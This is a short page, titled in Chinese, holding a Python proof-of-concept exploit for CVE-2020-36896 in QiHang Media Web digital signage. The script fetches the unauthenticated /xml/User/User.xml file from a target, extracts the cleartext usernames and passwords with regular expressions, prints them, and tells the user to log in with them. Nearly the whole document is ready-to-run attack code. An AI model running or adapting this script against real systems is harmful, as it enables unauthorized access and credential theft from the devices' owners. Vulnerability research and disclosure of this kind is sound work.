CVE-2020-36896: QiHang Media Web数字标牌系统明文凭证泄露漏洞

# CVE-2020-36896 PoC - QiHang Media Web Digital Signage Cleartext Credentials Disclosure # Discoverd by: VulnCheck ([email protected]) import requests import re import sys def exploit_cve_2020_36896(target_url): """ Exploit for CVE-2020-36896 QiHang Media Web Digital Signage - Cleartext Credentials Disclosure """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2020-36896...") # Path to the vulnerable XML file vulnerable_path = "/xml/User/User.xml" # Construct full URL url = target_url.rstrip('/') + vulnerable_path print(f"[*] Requesting: {url}") try: # Send HTTP GET request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Received response (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Parse and display credentials content = response.text print("\n[+] Extracted credentials from XML:\n") # Extract username and password patterns from XML username_pattern = r'<UserName>([^<]+)</UserName>' password_pattern = r'<Password>([^<]+)</Password>' usernames = re.findall(username_pattern, content) passwords = re.findall(password_pattern, content) if usernames and passwords: for i, (user, pwd) in enumerate(zip(usernames, passwords), 1): print(f" Credential #{i}:") print(f" Username: {user}") print(f" Password: {pwd}") print(f"\n[!] Use these credentials to authenticate at:") print(f" {target_url.rstrip('/')}/login") else: print("[!] No credentials found in response") print("\n[+] Raw XML content:") print(content[:1000]) else: print(f"[-] Failed to retrieve XML file (Status: {response.status_code})") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2020_36896(target)